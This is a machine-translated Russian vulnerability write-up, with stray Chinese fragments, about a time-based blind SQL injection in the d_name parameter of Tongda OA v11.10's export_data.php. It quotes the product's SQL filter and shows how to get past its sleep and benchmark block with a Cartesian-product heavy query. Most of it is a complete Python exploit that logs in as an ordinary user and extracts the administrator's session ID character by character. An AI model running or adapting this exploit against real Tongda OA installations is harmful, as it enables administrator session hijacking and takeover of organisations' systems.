Эта статья последний раз обновлялась 396 дней назад. Информация в этой статье могла измениться или измениться.
Затронутая версия: серверная часть Tongda OA v11.10.
Расположение уязвимости:/general/system/approve_center/flow_data/export_data.php
В /export_data.php POST получает параметр d_name, и параметры напрямую соединяются в следующем коде.
Найдите таблицу, начинающуюся с data_, в базе данных Tongda OA для тестирования. Только таблица data_src соответствует требованиям.
Для нормального доступа к маршрутам /general необходимо войти в систему. Следующие тесты будут проводиться с использованием обычных пользователей.
Включить журнал MySQL
Выполненные операторы можно увидеть в журнале базы данных.
Эхо не должно быть, попробуйте использовать инъекцию времени
В Tongda OA v11.10 есть глобальный фильтр, его содержимое следующее:
function sql_injection($db_string)
{
$clean = "";
$error = "";
$old_pos = 0;
$pos = -1;
$db_string = str_replace(array("''", "\'"), "", $db_string);
$db_string = preg_replace("/`[^,=\(\)]*'[^,=\(\)]*`/", "", $db_string);
while (true) {
$pos = strpos($db_string, "'", $pos + 1);
if ($pos === false) {
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true) {
$pos1 = strpos($db_string, "'", $pos + 1);
$pos2 = strpos($db_string, "\\", $pos + 1);
if ($pos1 === false) {
break;
}
else {
if (($pos2 == false) || ($pos1 < $pos2)) {
$pos = $pos1;
break;
}
}
$pos = $pos2 + 1;
}
$clean .= "\$s\$";
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array("/\s+/s"), array(" "), $clean)));
$fail = false;
$matches = array();
if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
$fail = true;
$error = _("Код комментария");
}
else if (preg_match("/(^|[^a-z])union(\s+[a-z]*)*\s+select($|[^[a-z])/s", $clean) != 0) {
$fail = true;
$error = _("Объединительный запрос");
}
else if (preg_match("/(^|[^a-z])(sleep|benchmark|load_file|mid|ord|ascii|extractvalue|updatexml|exp|current_user)\s*\(/s", $clean, $matches) != 0) {
$fail = true;
$error = $matches[2];
}
else if (preg_match("/(^|[^a-z])into\s+outfile($|[^[a-z])/s", $clean) != 0) {
$fail = true;
$error = _("Сгенерировать файл");
}
else if (preg_match("/.*update.+user.+set.+file_priv.*/s", $clean) != 0) {
$fail = true;
$error = "set file_priv";
}
else if (preg_match("/.*set.+general_log.*/s", $clean) != 0) {
$fail = true;
$error = "general_log";
}
if ($fail) {
echo _("Небезопасный оператор SQL:") . $error . "<br />";
echo td_htmlspecialchars($db_string);
exit();
}
}
Но когда у нас нет возможности использовать sleep(50000)—->спать и benchmark(10000000,md5(‘a’))—->тестскорость выполнения функции 的时候我们还能用Декартово произведение Heavy Queryдля достижения нашей цели。
Что приводит к OA, так это то, что имя базы данных — td_oa, а десятичное значение ASCII «t» — 116. При выполнении команды время выполнения, очевидно, может быть увеличено.
Отложенное внедрение завершится неудачно, если значение 116 изменится на 115.
Написать скрипт для слепого получения сеанса администратора
import re
from turtle import st
import requests
import datetime
import time
import threading
import string
# d_name=src where d_id=1 and (substr(DATABASE(),1,1))=char(115) and (select count(*) from information_schema.columns A,information_schema.columns B)
session = requests.session()
url = "http://172.16.10.8:8000"
head = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
}
def getLoginSession():
data = "UNAME=lijia&PASSWORD=5368677fec9d199757f33005c605f9f5e0dfec7bb3ff28f7831e49ff1b9581036ec0e0e144b854660111a7b8a8fb413d2d16ebe5477759017da1bb87d75e9721a0cd03a2ae9496b85a09a1e4866feca4982fce6b9250595c7db0ebf55e9b40b5a504702de16b6e4a4846fff5f8fef4c7562a418e74d8f7fda62c2a0f83ea9269&encode_type=1"
urls = url + "/logincheck.php"
res = session.post(urls,data=data,headers=head)
if «Вход в систему открытого доступа, пожалуйста, подождите…» in res.text:
print("Вход успешен")
else:
print(res.text)
def blindNoteTest():
urls = url + "/general/system/approve_center/flow_data/export_data.php"
data= "d_name=src where d_id=1 and (substr(DATABASE(),1,1))=char(116) and (select count(*) from information_schema.columns A,information_schema.columns B)"
res = session.post(urls,data=data,headers=head)
time = res.elapsed.microseconds
print(time)
if time > 150000:
print("Отсроченная инъекциятестуспех")
def blindNote():
inject_session = ""
chars = string.digits + string.ascii_letters
urls = url + "/general/system/approve_center/flow_data/export_data.php"
lenght = 1
print("Начать отложенную инъекцию")
for i in range(1,27):
for s in chars:
payload = "d_name=src where d_id=1 and (substr((select SID from user_online where UID=1)," + str(lenght) +",1))=char(" + str(ord(s)) + ") and (select count(*) from information_schema.columns A,information_schema.columns B)"
result = session.post(url=urls,data=payload,headers=head)
time = result.elapsed.microseconds
if time > 150000:
lenght += 1
inject_session = inject_session + str(s)
print(inject_session)
break
if __name__ == '__main__':
getLoginSession()
blindNoteTest()
blindNote()
Просмотров: 750